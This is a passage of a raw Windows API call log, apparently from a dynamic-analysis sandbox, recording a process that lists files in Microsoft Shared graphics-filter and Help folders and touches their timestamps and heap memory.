ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7308 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f55b8 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7328 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe0f8 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.176] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.176] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7348 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe200 [0232.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.177] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.177] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x8f7368 [0232.177] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0232.177] GetLastError () returned 0x12 [0232.177] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0232.177] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25b4860, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x1a9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.CFG", cAlternateFileName="")) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda4ec00, ftCreationTime.dwHighDateTime=0x1cba021, ftLastAccessTime.dwLowDateTime=0xc22488c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xfda4ec00, ftLastWriteTime.dwHighDateTime=0x1cba021, nFileSizeHigh=0x0, nFileSizeLow=0x4f160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FLT", cAlternateFileName="")) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x93f6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.FNT", cAlternateFileName="")) returned 1 [0232.177] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeed5e6b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0xadf90, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPSIMP32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeedd0ad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x4e380, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFIMP32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeee1cd90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x3ad80, dwReserved0=0x0, dwReserved1=0x0, cFileName="JPEGIM32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x774, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.CGM", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.EPS", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x42d, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.GIF", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.JPG", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.PNG", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x49f80, dwReserved0=0x0, dwReserved1=0x0, cFileName="PNG32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 1 [0232.178] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd53d4900, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xc25b4860, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd53d4900, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x44780, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPGIMP32.FLT", cAlternateFileName="")) returned 0 [0232.178] GetLastError () returned 0x12 [0232.178] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5310) returned 1 [0232.178] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0232.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f9ac8) returned 1 [0232.179] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.179] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0232.179] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0232.182] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help" (normalized: "c:\\program files\\common files\\microsoft shared\\help"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0232.182] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0232.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x8ff690 [0232.182] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x8ff690, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x8ff690, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0232.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8ff690) returned 1 [0232.182] NtClose (Handle=0x1b8) returned 0x0 [0232.182] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5178) returned 1 [0232.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5178 [0232.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5310 [0232.182] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0232.182] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd5e0 [0232.183] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0232.183] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0232.183] GetLastError () returned 0x12 [0232.183] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0232.183] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0232.183] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee282250, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x61073d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61073d10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0232.184] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x133200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hxds.dll", cAlternateFileName="")) returned 1 [0232.184] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3e47200, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x522dc930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe3e47200, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x1bf200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ITIRCL55.DLL", cAlternateFileName="")) returned 1 [0232.184] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 1 [0232.184] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe777f900, ftCreationTime.dwHighDateTime=0x1c8bc89, ftLastAccessTime.dwLowDateTime=0x616b36d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe777f900, ftLastWriteTime.dwHighDateTime=0x1c8bc89, nFileSizeHigh=0x0, nFileSizeLow=0x69000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msitss55.dll", cAlternateFileName="")) returned 0 [0232.184] GetLastError () returned 0x12 [0232.184] 